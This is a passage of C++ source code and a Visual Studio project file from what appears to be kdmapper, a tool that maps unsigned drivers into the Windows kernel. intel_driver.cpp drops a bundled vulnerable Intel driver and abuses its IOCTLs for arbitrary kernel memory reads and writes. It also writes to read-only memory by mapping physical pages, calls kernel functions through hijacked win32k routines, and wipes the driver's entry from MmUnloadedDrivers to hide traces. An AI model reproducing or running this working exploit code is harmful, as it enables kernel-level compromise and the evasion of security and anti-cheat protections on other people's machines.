133 | for (const auto& current_import : imports)
134 | {
135 | if (!utils::GetKernelModuleAddress(current_import.module_name))
136 | {
137 | std::cout << "[-] Dependency " << current_import.module_name << " wasn't found" << std::endl;
138 | return false;
139 | }
140 |
141 | for (auto& current_function_data : current_import.function_datas)
142 | {
143 | const uint64_t function_address = intel_driver::GetKernelModuleExport(iqvw64e_device_handle, utils::GetKernelModuleAddress(current_import.module_name), current_function_data.name);
144 |
145 | if (!function_address)
146 | {
147 | std::cout << "[-] Failed to resolve import " << current_function_data.name << " (" << current_import.module_name << ")" << std::endl;
148 | return false;
149 | }
150 |
151 | *current_function_data.address = function_address;
152 | }
153 | }
154 |
155 | return true;
156 | }
157 |
158 | void kdmapper::InitStackCookie(void* base)
159 | {
160 | const PIMAGE_NT_HEADERS64 nt_headers = RtlImageNtHeader(base);
161 | ULONG config_dir_size = 0;
162 | const PIMAGE_LOAD_CONFIG_DIRECTORY64 config_dir = static_cast(
163 | RtlImageDirectoryEntryToData(base,
164 | TRUE,
165 | IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG,
166 | &config_dir_size));
167 | if (config_dir == nullptr || config_dir_size == 0)
168 | return;
169 |
170 | uint64_t cookie_va;
171 | if ((cookie_va = static_cast(config_dir->SecurityCookie)) == 0)
172 | return;
173 | cookie_va = cookie_va - nt_headers->OptionalHeader.ImageBase + reinterpret_cast(base);
174 |
175 | uint64_t cookie = SharedUserData->SystemTime.LowPart ^ cookie_va;
176 | cookie &= 0x0000FFFFFFFFFFFFi64;
177 |
178 | constexpr uint64_t default_security_cookie64 = 0x00002B992DDFA232ULL;
179 | if (static_cast(cookie) == default_security_cookie64)
180 | cookie++;
181 |
182 | // Guess the address of the complement (normally correct for MSVC-compiled binaries)
183 | uint64_t cookie_complement_va = cookie_va + sizeof(uint64_t);
184 | if (*reinterpret_cast(cookie_complement_va) != ~default_security_cookie64)
185 | {
186 | // Nope; try before the cookie instead
187 | cookie_complement_va = cookie_va - sizeof(uint64_t);
188 | if (*reinterpret_cast(cookie_complement_va) != ~default_security_cookie64)
189 | cookie_complement_va = 0;
190 | }
191 |
192 | *reinterpret_cast(cookie_va) = cookie;
193 | if (cookie_complement_va != 0)
194 | *reinterpret_cast(cookie_complement_va) = ~cookie;
195 | }
196 |
--------------------------------------------------------------------------------
/kdmapper/kdmapper.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 15.0
23 | {518E0636-BA8F-459D-ACAC-81BD33475E3E}
24 | kdmapper
25 | 10.0
26 |
27 |
28 |
29 | Application
30 | true
31 | v142
32 | MultiByte
33 | false
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | MultiByte
41 | false
42 |
43 |
44 | Application
45 | true
46 | v142
47 | MultiByte
48 | false
49 |
50 |
51 | Application
52 | false
53 | v142
54 | true
55 | MultiByte
56 | false
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | Level4
80 | true
81 | ProgramDatabase
82 | true
83 | Caret
84 | true
85 | true
86 | stdcpp17
87 | false
88 | true
89 |
90 |
91 | DebugFull
92 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
93 |
94 |
95 |
96 |
97 | Level4
98 | true
99 | stdcpp17
100 | true
101 | ProgramDatabase
102 | Caret
103 | true
104 | true
105 | false
106 | true
107 |
108 |
109 | DebugFull
110 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
111 |
112 |
113 |
114 |
115 | Level4
116 | MaxSpeed
117 | true
118 | true
119 | true
120 | true
121 | Caret
122 | true
123 | stdcpp17
124 | false
125 | true
126 |
127 |
128 | true
129 | true
130 | DebugFull
131 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
132 |
133 |
134 |
135 |
136 | Level4
137 | MaxSpeed
138 | true
139 | true
140 | true
141 | true
142 | stdcpp17
143 | Caret
144 | true
145 | false
146 | true
147 |
148 |
149 | true
150 | true
151 | DebugFull
152 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)
153 |
154 |
155 |
156 |
157 |
158 |
159 |
160 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
--------------------------------------------------------------------------------
/kdmapper/intel_driver.cpp:
--------------------------------------------------------------------------------
1 | #include "intel_driver.hpp"
2 |
3 | bool intel_driver::IsRunning()
4 | {
5 | const HANDLE file_handle = CreateFileW(L"\\\\.\\Nal", FILE_ANY_ACCESS, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
6 | if (file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE)
7 | {
8 | CloseHandle(file_handle);
9 | return true;
10 | }
11 | return false;
12 | }
13 |
14 | HANDLE intel_driver::Load()
15 | {
16 | std::cout << "[<] Loading vulnerable driver" << std::endl;
17 |
18 | char temp_directory[MAX_PATH] = { 0 };
19 | const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory);
20 |
21 | if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH)
22 | {
23 | std::cout << "[-] Failed to get temp path" << std::endl;
24 | return nullptr;
25 | }
26 |
27 | const std::string driver_path = std::string(temp_directory) + "\\" + driver_name;
28 | std::remove(driver_path.c_str());
29 |
30 | if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast(intel_driver_resource::driver), sizeof(intel_driver_resource::driver)))
31 | {
32 | std::cout << "[-] Failed to create vulnerable driver file" << std::endl;
33 | return nullptr;
34 | }
35 |
36 | if (!service::RegisterAndStart(driver_path))
37 | {
38 | std::cout << "[-] Failed to register and start service for the vulnerable driver" << std::endl;
39 | std::remove(driver_path.c_str());
40 | return nullptr;
41 | }
42 |
43 | return CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
44 | }
45 |
46 | void intel_driver::Unload(HANDLE device_handle)
47 | {
48 | std::cout << "[<] Unloading vulnerable driver" << std::endl;
49 |
50 | ClearMmUnloadedDrivers(device_handle);
51 | CloseHandle(device_handle);
52 |
53 | service::StopAndRemove(driver_name);
54 |
55 | char temp_directory[MAX_PATH] = { 0 };
56 |
57 | const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory);
58 | const std::string driver_path = std::string(temp_directory) + "\\" + driver_name;
59 |
60 | std::remove(driver_path.c_str());
61 | }
62 |
63 | bool intel_driver::MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size)
64 | {
65 | if (!destination || !source || !size)
66 | return 0;
67 |
68 | COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
69 |
70 | copy_memory_buffer.case_number = 0x33;
71 | copy_memory_buffer.source = source;
72 | copy_memory_buffer.destination = destination;
73 | copy_memory_buffer.length = size;
74 |
75 | DWORD bytes_returned = 0;
76 | return DeviceIoControl(device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
77 | }
78 |
79 | bool intel_driver::SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size)
80 | {
81 | if (!address || !size)
82 | return 0;
83 |
84 | FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 };
85 |
86 | fill_memory_buffer.case_number = 0x30;
87 | fill_memory_buffer.destination = address;
88 | fill_memory_buffer.value = value;
89 | fill_memory_buffer.length = size;
90 |
91 | DWORD bytes_returned = 0;
92 | return DeviceIoControl(device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
93 | }
94 |
95 | bool intel_driver::GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t * out_physical_address)
96 | {
97 | if (!address)
98 | return 0;
99 |
100 | GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 };
101 |
102 | get_phys_address_buffer.case_number = 0x25;
103 | get_phys_address_buffer.address_to_translate = address;
104 |
105 | DWORD bytes_returned = 0;
106 |
107 | if (!DeviceIoControl(device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr))
108 | return false;
109 |
110 | *out_physical_address = get_phys_address_buffer.return_physical_address;
111 | return true;
112 | }
113 |
114 | uint64_t intel_driver::MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size)
115 | {
116 | if (!physical_address || !size)
117 | return 0;
118 |
119 | MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 };
120 |
121 | map_io_space_buffer.case_number = 0x19;
122 | map_io_space_buffer.physical_address_to_map = physical_address;
123 | map_io_space_buffer.size = size;
124 |
125 | DWORD bytes_returned = 0;
126 |
127 | if (!DeviceIoControl(device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr))
128 | return 0;
129 |
130 | return map_io_space_buffer.return_virtual_address;
131 | }
132 |
133 | bool intel_driver::UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size)
134 | {
135 | if (!address || !size)
136 | return false;
137 |
138 | UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 };
139 |
140 | unmap_io_space_buffer.case_number = 0x1A;
141 | unmap_io_space_buffer.virt_address = address;
142 | unmap_io_space_buffer.number_of_bytes = size;
143 |
144 | DWORD bytes_returned = 0;
145 |
146 | return DeviceIoControl(device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr);
147 | }
148 |
149 | bool intel_driver::ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size)
150 | {
151 | return MemCopy(device_handle, reinterpret_cast(buffer), address, size);
152 | }
153 |
154 | bool intel_driver::WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size)
155 | {
156 | return MemCopy(device_handle, address, reinterpret_cast(buffer), size);
157 | }
158 |
159 | bool intel_driver::WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size)
160 | {
161 | if (!address || !buffer || !size)
162 | return false;
163 |
164 | uint64_t physical_address = 0;
165 |
166 | if (!GetPhysicalAddress(device_handle, address, &physical_address))
167 | {
168 | std::cout << "[-] Failed to translate virtual address 0x" << reinterpret_cast(address) << std::endl;
169 | return false;
170 | }
171 |
172 | const uint64_t mapped_physical_memory = MapIoSpace(device_handle, physical_address, size);
173 |
174 | if (!mapped_physical_memory)
175 | {
176 | std::cout << "[-] Failed to map IO space of 0x" << reinterpret_cast(physical_address) << std::endl;
177 | return false;
178 | }
179 |
180 | bool result = WriteMemory(device_handle, mapped_physical_memory, buffer, size);
181 |
182 | if (!UnmapIoSpace(device_handle, mapped_physical_memory, size))
183 | std::cout << "[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast(physical_address) << std::endl;
184 |
185 | return result;
186 | }
187 |
188 | uint64_t intel_driver::AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size)
189 | {
190 | if (!size)
191 | return 0;
192 |
193 | static uint64_t kernel_ExAllocatePool = 0;
194 |
195 | if (!kernel_ExAllocatePool)
196 | kernel_ExAllocatePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePool");
197 |
198 | uint64_t allocated_pool = 0;
199 |
200 | if (!CallKernelFunction(device_handle, &allocated_pool, kernel_ExAllocatePool, pool_type, size))
201 | return 0;
202 |
203 | return allocated_pool;
204 | }
205 |
206 | bool intel_driver::FreePool(HANDLE device_handle, uint64_t address)
207 | {
208 | if (!address)
209 | return 0;
210 |
211 | static uint64_t kernel_ExFreePool = 0;
212 |
213 | if (!kernel_ExFreePool)
214 | kernel_ExFreePool = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool");
215 |
216 | return CallKernelFunction(device_handle, nullptr, kernel_ExFreePool, address);
217 | }
218 |
219 | uint64_t intel_driver::GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string & function_name)
220 | {
221 | if (!kernel_module_base)
222 | return 0;
223 |
224 | IMAGE_DOS_HEADER dos_header = { 0 };
225 | IMAGE_NT_HEADERS64 nt_headers = { 0 };
226 |
227 | if (!ReadMemory(device_handle, kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
228 | !ReadMemory(device_handle, kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
229 | return 0;
230 |
231 | const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
232 | const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
233 |
234 | if (!export_base || !export_base_size)
235 | return 0;
236 |
237 | const auto export_data = reinterpret_cast(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
238 |
239 | if (!ReadMemory(device_handle, kernel_module_base + export_base, export_data, export_base_size))
240 | {
241 | VirtualFree(export_data, 0, MEM_RELEASE);
242 | return 0;
243 | }
244 |
245 | const auto delta = reinterpret_cast(export_data) - export_base;
246 |
247 | const auto name_table = reinterpret_cast(export_data->AddressOfNames + delta);
248 | const auto ordinal_table = reinterpret_cast(export_data->AddressOfNameOrdinals + delta);
249 | const auto function_table = reinterpret_cast(export_data->AddressOfFunctions + delta);
250 |
251 | for (auto i = 0u; i < export_data->NumberOfNames; ++i)
252 | {
253 | const std::string current_function_name = std::string(reinterpret_cast(name_table[i] + delta));
254 |
255 | if (!_stricmp(current_function_name.c_str(), function_name.c_str()))
256 | {
257 | const auto function_ordinal = ordinal_table[i];
258 | const auto function_address = kernel_module_base + function_table[function_ordinal];
259 |
260 | if (function_address >= kernel_module_base + export_base && function_address <= kernel_module_base + export_base + export_base_size)
261 | {
262 | VirtualFree(export_data, 0, MEM_RELEASE);
263 | return 0; // No forwarded exports on 64bit?
264 | }
265 |
266 | VirtualFree(export_data, 0, MEM_RELEASE);
267 | return function_address;
268 | }
269 | }
270 |
271 | VirtualFree(export_data, 0, MEM_RELEASE);
272 | return 0;
273 | }
274 |
275 | bool intel_driver::GetNtGdiDdDDIReclaimAllocations2KernelInfo(HANDLE device_handle, uint64_t * out_kernel_function_ptr, uint64_t * out_kernel_original_function_address)
276 | {
277 | // 488b05650e1400 mov rax, qword ptr [rip+offset]
278 | // ff150f211600 call cs:__guard_dispatch_icall_fptr
279 |
280 | static uint64_t kernel_function_ptr = 0;
281 | static uint64_t kernel_original_function_address = 0;
282 |
283 | if (!kernel_function_ptr || !kernel_original_function_address)
284 | {
285 | const uint64_t kernel_NtGdiDdDDIReclaimAllocations2 = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("win32kbase.sys"), "NtGdiDdDDIReclaimAllocations2");
286 |
287 | if (!kernel_NtGdiDdDDIReclaimAllocations2)
288 | {
289 | std::cout << "[-] Failed to get export win32kbase.NtGdiDdDDIReclaimAllocations2" << std::endl;
290 | return false;
291 | }
292 |
293 | const uint64_t kernel_function_ptr_offset_address = kernel_NtGdiDdDDIReclaimAllocations2 + 0x7;
294 | int32_t function_ptr_offset = 0; // offset is a SIGNED integer
295 |
296 | if (!ReadMemory(device_handle, kernel_function_ptr_offset_address, &function_ptr_offset, sizeof(function_ptr_offset)))
297 | return false;
298 |
299 | kernel_function_ptr = kernel_NtGdiDdDDIReclaimAllocations2 + 0xB + function_ptr_offset;
300 |
301 | if (!ReadMemory(device_handle, kernel_function_ptr, &kernel_original_function_address, sizeof(kernel_original_function_address)))
302 | return false;
303 | }
304 |
305 | *out_kernel_function_ptr = kernel_function_ptr;
306 | *out_kernel_original_function_address = kernel_original_function_address;
307 |
308 | return true;
309 | }
310 |
311 | bool intel_driver::GetNtGdiGetCOPPCompatibleOPMInformationInfo(HANDLE device_handle, uint64_t * out_kernel_function_ptr, uint8_t * out_kernel_original_bytes)
312 | {
313 | // 48ff2551d81f00 jmp cs:__imp_NtGdiGetCOPPCompatibleOPMInformation
314 | // cccccccccc padding
315 |
316 | static uint64_t kernel_function_ptr = 0;
317 | static uint8_t kernel_original_jmp_bytes[12] = { 0 };
318 |
319 | if (!kernel_function_ptr || kernel_original_jmp_bytes[0] == 0)
320 | {
321 | const uint64_t kernel_NtGdiGetCOPPCompatibleOPMInformation = GetKernelModuleExport(device_handle, utils::GetKernelModuleAddress("win32kfull.sys"), "NtGdiGetCOPPCompatibleOPMInformation");
322 |
323 | if (!kernel_NtGdiGetCOPPCompatibleOPMInformation)
324 | {
325 | std::cout << "[-] Failed to get export win32kfull.NtGdiGetCOPPCompatibleOPMInformation" << std::endl;
326 | return false;
327 | }
328 |
329 | kernel_function_ptr = kernel_NtGdiGetCOPPCompatibleOPMInformation;
330 |
331 | if (!ReadMemory(device_handle, kernel_function_ptr, kernel_original_jmp_bytes, sizeof(kernel_original_jmp_bytes)))
332 | return false;
333 | }
334 |
335 | *out_kernel_function_ptr = kernel_function_ptr;
336 | memcpy(out_kernel_original_bytes, kernel_original_jmp_bytes, sizeof(kernel_original_jmp_bytes));
337 |
338 | return true;
339 | }
340 |
341 | bool intel_driver::ClearMmUnloadedDrivers(HANDLE device_handle)
342 | {
343 | ULONG buffer_size = 0;
344 | void* buffer = nullptr;
345 |
346 | NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
347 |
348 | while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
349 | {
350 | VirtualFree(buffer, 0, MEM_RELEASE);
351 |
352 | buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
353 | status = NtQuerySystemInformation(static_cast(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
354 | }
355 |
356 | if (!NT_SUCCESS(status))
357 | {
358 | VirtualFree(buffer, 0, MEM_RELEASE);
359 | return false;
360 | }
361 |
362 | uint64_t object = 0;
363 |
364 | auto system_handle_inforamtion = static_cast(buffer);
365 |
366 | for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
367 | {
368 | const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
369 |
370 | if (current_system_handle.UniqueProcessId != reinterpret_cast(static_cast(GetCurrentProcessId())))
371 | continue;
372 |
373 | if (current_system_handle.HandleValue == device_handle)
374 | {
375 | object = reinterpret_cast(current_system_handle.Object);
376 | break;
377 | }
378 | }
379 |
380 | VirtualFree(buffer, 0, MEM_RELEASE);
381 |
382 | if (!object)
383 | return false;
384 |
385 | uint64_t device_object = 0;
386 |
387 | if (!ReadMemory(device_handle, object + 0x8, &device_object, sizeof(device_object)))
388 | return false;
389 |
390 | uint64_t driver_object = 0;
391 |
392 | if (!ReadMemory(device_handle, device_object + 0x8, &driver_object, sizeof(driver_object)))
393 | return false;
394 |
395 | uint64_t driver_section = 0;
396 |
397 | if (!ReadMemory(device_handle, driver_object + 0x28, &driver_section, sizeof(driver_section)))
398 | return false;
399 |
400 | UNICODE_STRING us_driver_base_dll_name = { 0 };
401 |
402 | if (!ReadMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)))
403 | return false;
404 |
405 | us_driver_base_dll_name.Length = 0;
406 |
407 | if (!WriteMemory(device_handle, driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)))
408 | return false;
409 |
410 | return true;
411 | }
--------------------------------------------------------------------------------